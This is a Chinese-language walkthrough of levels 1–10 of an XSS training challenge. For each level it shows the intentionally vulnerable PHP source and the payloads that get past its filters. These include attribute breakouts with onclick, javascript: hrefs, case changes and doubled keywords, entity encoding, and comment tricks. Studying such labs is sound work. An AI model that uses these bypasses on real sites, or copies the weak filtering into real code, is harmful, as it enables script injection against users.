前言
漏洞介绍:XSS漏洞
参考文章:XSS挑战之旅
游戏规则:触发alert()弹窗,进入下一关
第1关
-
进入第一关
-
随便输入一下,观测输出,看源代码
-
输入
<script>alert(1)</script>
语句进行测试,触发弹窗,进入第二关
-
源码
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() //触发alert(),进入下一关 { confirm("完成的不错!"); window.location.href="level2.php?keyword=test"; } </script> <title>欢迎来到level1</title> </head> <body> <h1 align=center>欢迎来到level1</h1> <?php ini_set("display_errors", 0); $str = $_GET["name"]; echo "<h2 align=center>欢迎用户".$str."</h2>"; //直接对传入的参数进行输出,没有过滤 ?> <center><img src=level1.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>"; ?> </body> </html>
-
分析浏览器加载的结果
1 ------------------------------------------------ $str=<script>alert(1)</script> <h2 align=center>欢迎用户".$str."</h2> 2 ------------------------------------------------ <h2 align=center>欢迎用户<script>alert(1)</script></h2> 3 ------------------------------------------------ <h2 align=center>欢迎用户 <script> alert(1) //触发alert()函数 </script> </h2>
第2关
-
输入
<script>alert(1)</script>
语句进行测试
-
查看网页源代码
-
分析浏览器加载的结果
<input name=keyword value="<script>alert(1)</script>"> //这里的<script>alert(1)</script>是字符串 <input name=keyword value="11111">"<script>alert(1)</script>"> //闭合引号,这里的<script>alert(1)</script>可以被浏览器加载 ------------------------------------------------ <input name=keyword value="11111"> " <script> alert(1) </script> ">
-
进入下一关
-
源代码
<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level2.php method=GET> <input name=keyword value="'.$str.'"> //闭合value值 <input type=submit name=submit value="搜索"/> </form> </center>'; ?>
第3关
-
输入
<script>alert(1)</script>
语句进行测试
-
测试,看效果修改
-
payload
<input name=keyword value='11111' onclick='alert(1)'>
-
下一关
-
源码
<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center> <form action=level3.php method=GET> <input name=keyword value='".htmlspecialchars($str)."'> //转义了再拼接进去 <input type=submit name=submit value=搜索 /> </form> </center>"; ?>
第4关
-
输入
<script>alert(1)</script>
语句进行测试
-
继续测试
11111' onclick='alert(1)
-
测试
11111" onclick="alert(1)
-
下一关
-
源码
<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str2=str_replace(">","",$str); //替换了< > $str3=str_replace("<","",$str2); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level4.php method=GET> <input name=keyword value="'.$str3.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?>
第5关
-
输入
<script>alert(1)</script>
语句进行测试
-
测试
-
测试
<input name=keyword value="11"><a href="javascript:alert(1)">123</a>">
-
浏览器加载效果
-
源码
<?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); //不能用大写过滤 $str2=str_replace("<script","<scr_ipt",$str); //过滤了script $str3=str_replace("on","o_n",$str2); //过滤了on echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level5.php method=GET> <input name=keyword value="'.$str3.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?>
第6关
-
大写绕过
-
源码
<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; //过滤下面这些关键字,可以用大写绕过 $str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); //对< >转义了 echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level6.php method=GET> <input name=keyword value="'.$str6.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?>
第7关
-
测试
-
测试绕过
-
双写绕过
第8关
-
测试
-
将script用实体编号绕过
<a href="javascript:alert(1)">友情链接</a> html编码 <a href="javascript:alert(1)">友情链接</a>
-
下一关
-
源码
<?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); //过滤大写 $str2=str_replace("script","scr_ipt",$str); //过滤这些关键字 $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); $str7=str_replace('"','"',$str6); //过滤 " echo '<center> <form action=level8.php method=GET> <input name=keyword value="'.htmlspecialchars($str).'"> //过滤< > <input type=submit name=submit value=添加友情链接 /> </form> </center>'; ?> <?php echo '<center><BR><a href="'.$str7.'">友情链接</a></center>'; //利用点,绕过上面的限制即可 ?>
第9关
-
html的注释符号
//
-
源码
<?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); ...... //和上一题一样 ...... ?> <?php if(false===strpos($str7,'http://')) //如果str7没有http://则返回false { echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>'; } else { echo '<center><BR><a href="'.$str7.'">友情链接</a></center>'; } ?>
-
测试
-
payload
<a href="javascript:alert(1)//http://">友情链接</a>
第10关
-
页面
-
测试
-
过滤了
<
和>
-
测试
<input name="t_sort" value="1111" onclick="alert(1)" type="hidden">
-
payload
<input name="t_sort" value="1111" onclick="alert(1)" type="text" type="hidden"> 利用HTML语言的解析顺序,使得type="text"
-
源码
<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; //传入参数 $str11 = $_GET["t_sort"]; $str22=str_replace(">","",$str11); //过滤< > $str33=str_replace("<","",$str22); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.$str33.'" type="hidden"> //注入点 </form> </center>'; ?>